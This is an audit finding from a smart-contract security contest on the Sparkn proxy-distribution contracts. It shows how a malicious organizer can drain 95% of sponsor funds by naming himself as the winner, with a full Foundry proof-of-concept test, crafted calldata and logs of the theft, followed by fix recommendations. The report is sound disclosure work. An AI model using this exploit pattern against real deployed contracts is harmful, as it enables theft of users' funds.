Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: medium
Valid

Organizer call steal all funds from proxy contract

Summary

Malicious Organizer / Innovator can steal all funds from proxy contract.

Vulnerability Details

When Organizer is set in setContest function he is in charge of distributing funds. He can act maliciously and steal all of the funds intended for users (supporters). It can be done using deployProxyAndDistribute function with right input parameters (bytes calldata data).

Flow of the attack

  1. First there must be precalculated address of the proxy which will hold funds provided by the sponsor (which also can be malicious, later about that).

  2. Then the funds must be sent to the proxy address by the sponsor.

  3. Owner calls setContest function with malicious organizer address as an organizer parameter, bytes32 contestId (not relevant it this attack), uint256 closeTime (can be set to as little as block.timestamp + 1 which would definitly benifit the attacker) and address implementation (also does not affect the attack scenario here).

  4. When actual block.timestamp is past the closeTime (which mentioned before can be block.timestamp + 1) malicious organizer calls deployProxyAndDistribute with bytes calldata data as follows (snippet from POC provided later in the report):

function createData() public view returns (bytes memory data) {
address[] memory winners = new address[](1);
winners[0] = organizer;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, address(token), winners, percentages_, "");
}
  1. As the result organizer transfers all of the tokens (intended for supporters) to his address paying only COMMISSION_FEE which is 5% of the funds.

Snippet from logs after running POC in foundry

Logs:
Balances before setContest
Sponsor token balance 1000000000000000000000000
Organizer token balance 0
Proxy token balance 0
-----------------------------------------
Balances after setContest
Sponsor token balance 0
Organizer token balance 0
Proxy token balance 1000000000000000000000000
-----------------------------------------
Balances after stealing funds
Sponsor token balance 0
Organizer token balance 950000000000000000000000
Proxy token balance 0

This is one scenario when malicious organizer steals sponsor's funds intended for supporters.

I mentioned above that sponsor can be malicious too. The second scenario is when the sponsor also acts as an organizer. The flow of the attack stays the same but in this situation the attacker uses his own funds and then can send them back to his address. There is no restriction when it comes to sponsor and organizer being the same address. Citing readme file from CodeHawks contest "Sponsor: the person who is willing to fund the contest. Sponsor can be anyone include the organizer." There are no checks that prevent passing organizer / sponsor address in the winners array.

POC

Copy the code and paste it in test folder.

//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {ProxyFactory} from "../src/ProxyFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {MockERC20} from "./mock/MockERC20.sol";
contract TestPoc is Test {
ProxyFactory public proxyFactory;
Distributor public distributor;
MockERC20 public token;
address public sponsor;
address public organizer;
address public user;
uint256 tokenAmount = 1_000_000 * 1e18;
uint256 tokenAmountAfterPayout = 950_000 * 1e18;
function setUp() public {
sponsor = address(2);
organizer = address(3);
user = address(4);
token = new MockERC20("Test", "TST");
token.mint(sponsor, tokenAmount);
address[] memory whitelisted = new address[](1);
whitelisted[0] = address(token);
proxyFactory = new ProxyFactory(whitelisted);
distributor = new Distributor(address(proxyFactory), address(1));
}
function testSetUp() public {
assertTrue(address(token) != address(0));
assertEq(token.balanceOf(sponsor), tokenAmount);
assertTrue(address(proxyFactory) != address(0));
assertEq(proxyFactory.whitelistedTokens(address(token)), true);
assertTrue(address(distributor) != address(0));
(address factory, address feeAddress,,) = distributor.getConstants();
assertEq(address(proxyFactory), factory);
assertEq(address(1), feeAddress);
assertEq(sponsor, address(2));
assertEq(organizer, address(3));
assertEq(user, address(4));
}
function testOrganizerStealsAllTokens() public {
// get address of the contest proxy
address proxyContestAddress = proxyFactory.getProxyAddress(_calculateSalt(organizer, bytes32("1"), address(distributor)), address(distributor));
console.log("Balances before setContest");
console.log("Sponsor token balance", token.balanceOf(sponsor));
console.log("Organizer token balance", token.balanceOf(organizer));
console.log("Proxy token balance", token.balanceOf(proxyContestAddress));
console.log("-----------------------------------------");
// transfer tokens to contest proxy
vm.prank(sponsor);
token.transfer(proxyContestAddress, tokenAmount);
assertEq(token.balanceOf(proxyContestAddress), tokenAmount);
proxyFactory.setContest(organizer, bytes32("1"), block.timestamp + 1, address(distributor));
// increase time to be able to call deployProxyAndDistribute after close time is over
skip(10);
console.log("Balances after setContest");
console.log("Sponsor token balance", token.balanceOf(sponsor));
console.log("Organizer token balance", token.balanceOf(organizer));
console.log("Proxy token balance", token.balanceOf(proxyContestAddress));
console.log("-----------------------------------------");
// create malicious data
bytes memory data = createData();
// call deployProxyAndDistribute by malicious organizer
vm.prank(organizer);
proxyFactory.deployProxyAndDistribute(bytes32("1"), address(distributor), data);
assertEq(token.balanceOf(proxyContestAddress), 0);
assertEq(token.balanceOf(organizer), tokenAmountAfterPayout);
console.log("Balances after stealing funds");
console.log("Sponsor token balance", token.balanceOf(sponsor));
console.log("Organizer token balance", token.balanceOf(organizer));
console.log("Proxy token balance", token.balanceOf(proxyContestAddress));
}
function createData() public view returns (bytes memory data) {
address[] memory winners = new address[](1);
winners[0] = organizer;
uint256[] memory percentages_ = new uint256[](1);
percentages_[0] = 9500;
data = abi.encodeWithSelector(Distributor.distribute.selector, address(token), winners, percentages_, "");
}
function _calculateSalt(address _organizer, bytes32 _contestId, address _implementation)
internal
pure
returns (bytes32)
{
return keccak256(abi.encode(_organizer, _contestId, _implementation));
}
}

Impact

Funds are directly stolen by malicious actor.

Tools Used

VScode, Foundry

Recommendations

Make sure that sponsor and organizer can not be included in the winners array by implementing checks for these addresses. Or you can validate the inputs before deployProxyAndDistribute is called by organizer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!